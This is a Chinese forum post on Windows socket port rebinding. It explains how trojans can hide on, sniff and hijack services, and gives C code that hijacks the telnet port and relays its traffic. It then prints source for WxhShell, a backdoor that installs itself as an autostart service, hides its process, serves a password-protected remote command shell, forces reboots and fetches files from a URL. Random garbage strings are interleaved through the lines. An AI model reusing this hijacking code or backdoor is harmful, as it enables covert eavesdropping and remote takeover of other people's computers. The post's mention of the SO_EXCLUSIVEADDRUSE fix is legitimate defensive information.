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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: G' 1'/  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "\yT7?},  
2GG2jky{/  
  saddr.sin_family = AF_INET; zfdl45  
VUuE T  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 2&cT~ZX&'  
m9;SrCN_  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); v`T c}c '  
Zv{'MIv&v  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 wC'Szni  
-mh3DhJ,  
  这意味着什么?意味着可以进行如下的攻击: CWKm(@"5  
(/$^uWj  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 {P-):  
1|=A*T-<M  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) |Y.?_lC  
{M)Nnst"~  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 0=$T\(0g  
'Pbr v  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  #5uOx(>  
uXiN~j &Be  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 #O&8A  
Pg{J{gn  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 `WS&rmq&'  
v"0J&7!J  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 DHRlWQox  
* v#o  
  #include ;kKyksxlD  
  #include nJ;.Td  
  #include m4Zk\,1m.|  
  #include    _Z\G5x  
  DWORD WINAPI ClientThread(LPVOID lpParam);   F"mmLao  
  int main() FP>2C9:d  
  { %z$#6?OK^  
  WORD wVersionRequested; 0n'_{\yz  
  DWORD ret; cZ3v=ke^  
  WSADATA wsaData; _yT Ed"$  
  BOOL val; !<F3d`a  
  SOCKADDR_IN saddr; fV~[;e;U.  
  SOCKADDR_IN scaddr; vih9 KBT  
  int err; J[kTlHMD  
  SOCKET s; Dt1jW  
  SOCKET sc; 4I[P>  
  int caddsize; B<C&xDRZ0  
  HANDLE mt; \{D" !e  
  DWORD tid;   bI`g|v  
  wVersionRequested = MAKEWORD( 2, 2 ); ),!qTjD  
  err = WSAStartup( wVersionRequested, &wsaData ); 6S{l' !s'  
  if ( err != 0 ) { )U# K  
  printf("error!WSAStartup failed!\n"); ugBCBr  
  return -1; _"{Xi2@H  
  } HVAYPerH  
  saddr.sin_family = AF_INET; {4PwLCy  
   9tnD=A<PS  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 !n%j)`0M  
nr3==21Om4  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); z@j8lv2j1  
  saddr.sin_port = htons(23); 1.>m@Slr>  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) HbIF^LeY|R  
  { lLIA w$  
  printf("error!socket failed!\n"); @}ZVtrz  
  return -1; 1 TXioDs=_  
  } "Y.y:Vv;  
  val = TRUE; cH)";] k*-  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 R|Q?KCI&  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 8?C5L8)  
  { w2'5#`m  
  printf("error!setsockopt failed!\n"); 5-A\9UC*@  
  return -1; & nK<:^n  
  } qJw_  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; y_[vr:s5pG  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ")25 qZae  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 7-A2_!_x{  
}K9H^H@r!  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 8b=_Y;  
  { K<J9 ~  
  ret=GetLastError(); DaVa}  
  printf("error!bind failed!\n"); LIrb6g&xj_  
  return -1; F:ELPs4"  
  } wKHBAW[i]  
  listen(s,2); A%-6`>  
  while(1) p b,. r  
  { :v 4]D4\o  
  caddsize = sizeof(scaddr); IR bfNq^:  
  //接受连接请求 WF"k[2  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); DV{=n C  
  if(sc!=INVALID_SOCKET) Hx:;@_g q  
  { hv+zGID7  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); PI<vxjOK`  
  if(mt==NULL) 1YMh1+1  
  { 2T`!v  
  printf("Thread Creat Failed!\n"); ~)'k 9?0  
  break; rM "l@3hP  
  } Y\tui+?J  
  } !&\INl-Z  
  CloseHandle(mt); tnIX:6  
  } g=I})s:CTp  
  closesocket(s); |cY`x(?yP  
  WSACleanup(); GKCroyor  
  return 0; 2"~8Z(0  
  }   :Q q#Z  
  DWORD WINAPI ClientThread(LPVOID lpParam) t g/H2p^Y  
  { F1hHe<)  
  SOCKET ss = (SOCKET)lpParam; h7@6T+#WoT  
  SOCKET sc; g `4<9RMun  
  unsigned char buf[4096]; mV m Gg,  
  SOCKADDR_IN saddr; I 2DpRMy  
  long num; !o-@&q  
  DWORD val; YbLW/E\T  
  DWORD ret; $ulOp;~A%  
  //如果是隐藏端口应用的话,可以在此处加一些判断 L=h'Qgk%  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   .sA.C] f  
  saddr.sin_family = AF_INET; J^/p(  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); CQ2jP G*py  
  saddr.sin_port = htons(23); < 7$1kGlA  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^}C\zW  
  { jqkqZF  
  printf("error!socket failed!\n"); B\n[.(].r  
  return -1; F5#YOck&,  
  } ^W@5TkkBQq  
  val = 100; "h ^Z  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )CyS#j#=  
  { F&Hrk|a  
  ret = GetLastError(); F<w/PMb  
  return -1; RT5T1K08I  
  } {^\r`V p  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3N:D6w-R  
  { ::F|8  
  ret = GetLastError(); h.fq,em+H  
  return -1; :i7;w%B  
  } 9C i-v/M]  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) cGD(.=  
  { |D.ND%K&  
  printf("error!socket connect failed!\n"); D3A/l  
  closesocket(sc); S@sO;-^+  
  closesocket(ss); u-C)v*#L  
  return -1; i@CxI<1'  
  } L.WljNo  
  while(1) 39jG8zr=Z[  
  { TB^$1C  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 w*MpX U<  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 wdZ/Xp9]  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 #89!'W  
  num = recv(ss,buf,4096,0); =rK+eG#,  
  if(num>0) ?'je)F  
  send(sc,buf,num,0); hpJ-r  
  else if(num==0) 3k?X-|O8AZ  
  break; {}x^ri~  
  num = recv(sc,buf,4096,0); ]+$?u&0?w  
  if(num>0)  Mc}^LDX  
  send(ss,buf,num,0); bJ;'`sw1  
  else if(num==0) -`t^7pr  
  break; snikn&  
  } i 3SHg\~Z  
  closesocket(ss); ;S*}WqP,  
  closesocket(sc); m#F`] {  
  return 0 ; &t-kpA|EG  
  } ei{eTp4HpV  
 f V(J|  
YnP5i#"  
========================================================== cs'{5!i]  
4'Zp-k?5`  
下边附上一个代码,,WXhSHELL F}q c0  
Hq 188<  
========================================================== .GcKa024  
as_PoCoss  
#include "stdafx.h" u~-8d;+?y  
eR"<33{  
#include <stdio.h> BF<ikilR  
#include <string.h> tRfo$4#NY  
#include <windows.h> 1!gbTeVlY  
#include <winsock2.h> S Z$Kz n  
#include <winsvc.h> *WT`o>  
#include <urlmon.h> >dG[G>  
N.{D$"  
#pragma comment (lib, "Ws2_32.lib") 6MkP |vr6  
#pragma comment (lib, "urlmon.lib") w+{LAS  
\'bzt"f$j  
#define MAX_USER   100 // 最大客户端连接数 O0y_Lm\  
#define BUF_SOCK   200 // sock buffer veh<R]U  
#define KEY_BUFF   255 // 输入 buffer m9Hit8f@Q  
*D3/@S$B  
#define REBOOT     0   // 重启 tNX|U:Y*  
#define SHUTDOWN   1   // 关机 >e"#'K0?\  
F@:'J\I}:  
#define DEF_PORT   5000 // 监听端口 @|%2f@h  
nj53G67y  
#define REG_LEN     16   // 注册表键长度 Wiu"k%Qsh  
#define SVC_LEN     80   // NT服务名长度 U`m54f@U  
}AH] th  
// 从dll定义API Z)aUt Srf  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _f:W?$\ho  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3Ims6I]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); # 4PVVu<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9*?oYm;dX  
d<N:[Y\4l  
// wxhshell配置信息 N*&1GT#9  
struct WSCFG { xK\d4 "  
  int ws_port;         // 监听端口 e@OX_t_  
  char ws_passstr[REG_LEN]; // 口令 {8%a5DiM  
  int ws_autoins;       // 安装标记, 1=yes 0=no w*JGUk  
  char ws_regname[REG_LEN]; // 注册表键名 $ DSZO!pB  
  char ws_svcname[REG_LEN]; // 服务名 %1$,Vs<RH  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 > "=>3  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 HoL Et8Q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3kMf!VL  
int ws_downexe;       // 下载执行标记, 1=yes 0=no FG*r'tC~r  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ilx)*Y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 t1y4 7fX6  
)TH@# 1  
}; 0=E]cQwh  
$H>W|9Kg,  
// default Wxhshell configuration *w&Y$8c(  
struct WSCFG wscfg={DEF_PORT, <yFu*(Q  
    "xuhuanlingzhe", X*Prll(  
    1,  'CkIz"Wd  
    "Wxhshell", Gk /fBs  
    "Wxhshell", X(-4<B  
            "WxhShell Service", ~O &:C{9=  
    "Wrsky Windows CmdShell Service", )/?$3h;  
    "Please Input Your Password: ", ?m? ::RH  
  1, 7{I0s;R  
  "http://www.wrsky.com/wxhshell.exe", /CG"]!2 "  
  "Wxhshell.exe" 8eHyL  
    }; s6^>F/x  
3x'|]Ns  
// 消息定义模块 W]5w \  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *itUWpNhr  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _t #k,;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9c :cw  
char *msg_ws_ext="\n\rExit."; ` v@m-j6  
char *msg_ws_end="\n\rQuit."; Ge-vWf-RbB  
char *msg_ws_boot="\n\rReboot..."; Y#P%6Fy  
char *msg_ws_poff="\n\rShutdown..."; @7j AL-  
char *msg_ws_down="\n\rSave to "; C={Y;C1  
VZmLS 4E  
char *msg_ws_err="\n\rErr!"; @'!SN\?W8  
char *msg_ws_ok="\n\rOK!"; <T|3`#o0  
l&Q`wR5e  
char ExeFile[MAX_PATH]; h'&%>Q2  
int nUser = 0; W+ko q*P  
HANDLE handles[MAX_USER]; oEKvl3Hz_  
int OsIsNt; =w 2**$  
l#Y,R 0  
SERVICE_STATUS       serviceStatus; (\YltC@q%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 6.nCV 0xA  
FSW_<%  
// 函数声明 <+vw@M  
int Install(void); +Kbjzh3<wG  
int Uninstall(void); iVq'r4S  
int DownloadFile(char *sURL, SOCKET wsh); F%D.zvKN  
int Boot(int flag); 9H`XeQ.  
void HideProc(void); sZ/v^ xk  
int GetOsVer(void); wHMX=N1/  
int Wxhshell(SOCKET wsl); DjQFi  
void TalkWithClient(void *cs); ofw3S |F6  
int CmdShell(SOCKET sock); qm8B8&-  
int StartFromService(void); JNXq.;:`Q  
int StartWxhshell(LPSTR lpCmdLine); CSq4x5!_7>  
UIN<2F_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); hAnPXiD  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !/i{l  
9c,'k#k  
// 数据结构和表定义 YvyNHW&  
SERVICE_TABLE_ENTRY DispatchTable[] = mQ 26K~  
{ ++Ts  
{wscfg.ws_svcname, NTServiceMain}, V_}"+&W9  
{NULL, NULL} ;dZZ;#k%  
}; T{ XS")Vw  
9u}Hmb  
// 自我安装 lbl?k5  
int Install(void) a>I+]`g  
{ W^LY'ypT  
  char svExeFile[MAX_PATH]; ( !fKNia@S  
  HKEY key; :Cs4NF   
  strcpy(svExeFile,ExeFile); f=gW]x7'R+  
cZU=o\  
// 如果是win9x系统,修改注册表设为自启动 k(7&N0V%zz  
if(!OsIsNt) { " h~Z u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { CiLg]va   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `1{ZqRFQ  
  RegCloseKey(key); MSqVlj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q"sed]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]e>w }L(gV  
  RegCloseKey(key); %JD,$p Ps  
  return 0; dkBIx$t  
    } ^{;oM^Q'  
  } Z<y I\1  
} [KaAXv .X  
else { ^-Kf']hU  
V0.vQ/  
// 如果是NT以上系统,安装为系统服务 d#rf5<i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?5|>@>  
if (schSCManager!=0) Pz|>"'  
{ tla 5B_  
  SC_HANDLE schService = CreateService 1 A !bE  
  ( Ed,~1GanY  
  schSCManager, sn$9Shgh  
  wscfg.ws_svcname, YPK(be_|I  
  wscfg.ws_svcdisp, =llvuUd\n  
  SERVICE_ALL_ACCESS, |5~#&v_  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , j9 4=hJVKi  
  SERVICE_AUTO_START, BBRR)  
  SERVICE_ERROR_NORMAL, KNpl:g3{<Q  
  svExeFile, yyRiP|hJ  
  NULL, Ln<`E|[29  
  NULL, g:D>.lKd  
  NULL, -)]Yr #Q  
  NULL, ~>Fu5i $i  
  NULL L Mbn  
  ); i8[t=6Rm@  
  if (schService!=0) 0g y/:T  
  { %D}kD6=  
  CloseServiceHandle(schService); aweV#j(y  
  CloseServiceHandle(schSCManager); {V$|3m>:*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Qu"\wE^.`  
  strcat(svExeFile,wscfg.ws_svcname); }c`"_L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #Z`q+@@ ]A  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); w?k>:,'[  
  RegCloseKey(key); i6tf2oqO7  
  return 0; ith 3 =`3  
    } m}aB?+i  
  } A8fOQ  
  CloseServiceHandle(schSCManager); $i}y8nlQ  
} iWB=sL&p  
} aS{n8P6vW  
z/WE,R  
return 1; [.'|_l  
} y'~U%,ki6  
gk[aM~p  
// 自我卸载 3kIN~/<R+7  
int Uninstall(void) +N9X/QFKV  
{ ?{|q5n  
  HKEY key; \y)rt )  
w\}ieI8J  
if(!OsIsNt) { |\<`Ib4j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~'iHo]9O  
  RegDeleteValue(key,wscfg.ws_regname); '()xHEGl3  
  RegCloseKey(key); }=UHbU.n~!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E$:*NSXj  
  RegDeleteValue(key,wscfg.ws_regname); W*4-.*U8a  
  RegCloseKey(key); ox>^>wR*  
  return 0; .TMs bZ|j  
  } ^aMg/.j  
} KL:j?.0  
} C'+YQ]u  
else { EXwo,?I  
>CgTs  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1i"WDu*h3  
if (schSCManager!=0) 5k3n\sqZA  
{ <fjX[l<Uz  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  |`f$tj  
  if (schService!=0) ]Svt`0|}  
  { 1N^[.=  
  if(DeleteService(schService)!=0) { z8~NZ;A  
  CloseServiceHandle(schService); #`iB`|  
  CloseServiceHandle(schSCManager); .hP D$o  
  return 0; |vwVghC  
  } Zq|I,l0+E  
  CloseServiceHandle(schService); wd^':  
  } eV"h0_ox  
  CloseServiceHandle(schSCManager); VT%NO'0  
} /W30~y  
} :P\7iW  
Ic:(Gi- %  
return 1; ,I$`-$_'  
} el<s8:lA  
WZejp}x  
// 从指定url下载文件 e7r -R3_  
int DownloadFile(char *sURL, SOCKET wsh) 9ni1f{k  
{ C'@i/+  
  HRESULT hr; Ae^~Cz1qz  
char seps[]= "/"; 3!Ij;$  
char *token; tr3! d_  
char *file; [0[i5'K:  
char myURL[MAX_PATH]; k>Vci{v  
char myFILE[MAX_PATH]; kr5">"7  
VimE@Hz  
strcpy(myURL,sURL); v ~?qz5:K~  
  token=strtok(myURL,seps); 7qLpZ/  
  while(token!=NULL) R'`qKc  
  {  E`0?  
    file=token; m 3hrb-  
  token=strtok(NULL,seps); ,GIy q)  
  } #7 $ H  
/cdC'g  
GetCurrentDirectory(MAX_PATH,myFILE); H8zK$!  
strcat(myFILE, "\\"); V`d,qn)i  
strcat(myFILE, file); _LUhZlw  
  send(wsh,myFILE,strlen(myFILE),0); Ugt/rf5n  
send(wsh,"...",3,0); n;C :0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4Zddw0|2  
  if(hr==S_OK) bMu+TgAT,  
return 0; S9D<8j^  
else TG?brgW  
return 1; 7~% ?#  
x7w4[QYw  
} y0.'?6k  
t?&|8SId  
// 系统电源模块 :$|HNeDO  
int Boot(int flag) NC`aP0S  
{ S-b/S5  
  HANDLE hToken; <CiSK!  
  TOKEN_PRIVILEGES tkp; 1~`fVg  
tBWrL{xLe  
  if(OsIsNt) { mzKiO_g}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); CL;}IBd a  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); v`x.)S1  
    tkp.PrivilegeCount = 1; FFpT~.  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; V>LwqS~`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); h0f;F@I  
if(flag==REBOOT) { SmH=e@y~Lx  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) o5GcpbZ3k  
  return 0; $G+@_'  
} L,`LN>  
else { ]Sz:|%JP1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) T!kN)#S  
  return 0; n\'4  
} 1#2 I  
  } B{#I:Rs9  
  else { @ioJ] $o7  
if(flag==REBOOT) { [5b--O  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) a0E)2vt4  
  return 0; j0aXyLNX  
} y9GoPC`z  
else { ]^7@}Ce_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^|(LAjet  
  return 0; 5d^sA;c  
} 5m 4P\y^a  
} =R|HV;9 h  
]|a g  
return 1;  A,<E\  
} i)#dWFDTv  
P>D)7 V9Hh  
// win9x进程隐藏模块 mdDOvm:&  
void HideProc(void) Sy_G,+$\  
{ KYI/  
U_Ptqqt%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -f^tE,-  
  if ( hKernel != NULL ) P4'Q/Sj  
  { I6av6t}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); p)-^;=<B3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); q3N jky1w  
    FreeLibrary(hKernel); o#Dk& cH  
  } ()?(I?II  
`UaD6Mc<Mz  
return; +GN(Ug'R  
} `HSKQ52  
_< V)-Y  
// 获取操作系统版本 ^ VyKd  
int GetOsVer(void) ,R\ \%  
{ NwvC[4  
  OSVERSIONINFO winfo; Iyn(?w  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @b%=H/5\  
  GetVersionEx(&winfo); k]|~>9eY]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +@f26O7$*  
  return 1; lfgq=8d  
  else /Cr%{'Pzk  
  return 0; vn8aFA  
} my1@41 H  
l|[N42+  
// 客户端句柄模块 *:7rdzn  
int Wxhshell(SOCKET wsl) cqkV9f8Ro  
{ V2EUW!gn 2  
  SOCKET wsh; t!l&iVWs  
  struct sockaddr_in client; J*A,o~U|  
  DWORD myID; | YWD8 +  
C.-,^+t;g  
  while(nUser<MAX_USER) [|$h*YK  
{ ;JT-kw6l5K  
  int nSize=sizeof(client); `$ 9x1dx  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); a58H9w"u)  
  if(wsh==INVALID_SOCKET) return 1; +Kc  
CK@@HSm}l  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $%d*@ 'c  
if(handles[nUser]==0) V f&zL Sgr  
  closesocket(wsh); FD #8mg  
else O0v}43J [  
  nUser++; F/{!tx  
  } b8t7u  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); qe#tj/aZ  
0[(8   
  return 0; ? OM!+O  
} 1CZgb   
6d}lw6L  
// 关闭 socket /{_:{G!Q0  
void CloseIt(SOCKET wsh) 9TC,!0U{_.  
{ q3!bky\  
closesocket(wsh); lUZ+YD4  
nUser--; .`eN8Dl1  
ExitThread(0); h[Y1?ln&h  
} K\r8g=U  
UI0VtR]   
// 客户端请求句柄 f8dB-FlMm  
void TalkWithClient(void *cs) _V6ukd"B~  
{ b8UO,fY q  
wn%A4-%{  
  SOCKET wsh=(SOCKET)cs; p6V0`5@t  
  char pwd[SVC_LEN]; $6 f3F?y7  
  char cmd[KEY_BUFF]; ^ZcGY+/~  
char chr[1]; g! |kp?  
int i,j; =dKtV.L  
_B<X`L =  
  while (nUser < MAX_USER) { rb.N~  
$U WZDD  
if(wscfg.ws_passstr) { 6bC3O4Rw  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2[W&s&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a;+9mDXx:  
  //ZeroMemory(pwd,KEY_BUFF); 8nV+e~-w  
      i=0; +r2-S~f3N  
  while(i<SVC_LEN) { CA~-rv  
?6U0PChy  
  // 设置超时 R-$!9mnr  
  fd_set FdRead; _Fl9>C"u  
  struct timeval TimeOut; chX"O 0?"  
  FD_ZERO(&FdRead); )ez9"# MH'  
  FD_SET(wsh,&FdRead); 99QU3c<.  
  TimeOut.tv_sec=8; 3=j"=-=  
  TimeOut.tv_usec=0; PJH&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); rV#ch(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /U9"wvg  
f]CXu3w(J  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VTE .^EK!  
  pwd=chr[0]; ;e*!S}C,  
  if(chr[0]==0xd || chr[0]==0xa) { 7!E,V:bt'  
  pwd=0; } q8ASYNc  
  break; zrb}_  
  }  =7eV/3  
  i++; 8d'0N  
    } W'TZ%K) I  
f-Z/t fC  
  // 如果是非法用户,关闭 socket S,he6zS  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); t{{QE:/  
} b \2 ds,  
%'pgGC"|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [4f{w%~^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j\M?~=*w  
? =Kduef  
while(1) { > ~O.@|  
Gd85kY@w7  
  ZeroMemory(cmd,KEY_BUFF); JWxwJex  
?Ir:g=RP*  
      // 自动支持客户端 telnet标准   ym1Y4,  
  j=0;  @q) d  
  while(j<KEY_BUFF) { P&Vv/D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j8sH|{H!Nq  
  cmd[j]=chr[0]; wibNQ`4k  
  if(chr[0]==0xa || chr[0]==0xd) { cvL;3jRo  
  cmd[j]=0; s~X%Y<9l  
  break; =I_'.b  
  } w}L[u r;I_  
  j++; S f# R0SA  
    } Nh44]*  
kAUymds;O  
  // 下载文件 f!X[c?Xy"  
  if(strstr(cmd,"http://")) { !4+<<(B=E  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ox.F%)eQ  
  if(DownloadFile(cmd,wsh)) p!%pP}I  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); OjA,]Gv6  
  else CqC`8fD1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9\(| D#  
  } Q3?F(ER@  
  else { p]c%f 2E>d  
;O,jUiQ  
    switch(cmd[0]) { hhvyf^o   
  4*;MJ[|  
  // 帮助 K|=A:  
  case '?': { I&5!=kR  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); m1AJ{cs  
    break; {)<v&'*c~  
  } Ow,b^|  
  // 安装 8z\xrY  
  case 'i': { ]Hv[IodJ  
    if(Install()) #/37V2E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8u]2xB=K  
    else F!K>Kz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lyhiFkO iH  
    break; _aeBauD  
    } BZ^}J!Q'*  
  // 卸载 oXgcc*j  
  case 'r': { BMf@M  
    if(Uninstall()) \~wMfP8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $ocdI5  
    else 9lE_nc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >yDZw!C  
    break; />>\IR  
    } _)-o1`*-  
  // 显示 wxhshell 所在路径 mX|ojZ  
  case 'p': { DtnEi4h,  
    char svExeFile[MAX_PATH]; ],].zlN  
    strcpy(svExeFile,"\n\r"); \'j|BJ~L f  
      strcat(svExeFile,ExeFile); % & bY]w  
        send(wsh,svExeFile,strlen(svExeFile),0); ,hmL/K0"(5  
    break; &)<)^.@3G^  
    } sDV Q#}a  
  // 重启 `M6)f?|$.  
  case 'b': { cB&:z)i4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); oP.7/*p  
    if(Boot(REBOOT)) ddR>7d}N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z3!`J&  
    else { 5F"jk d+  
    closesocket(wsh); d'sZxU  
    ExitThread(0); Xn ;AZu^'R  
    } /Ci<xmP  
    break; bZV/l4TU  
    } >LuYHr  
  // 关机 B>.qd  
  case 'd': { 4KrL{Z+}  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); k VQ\1!  
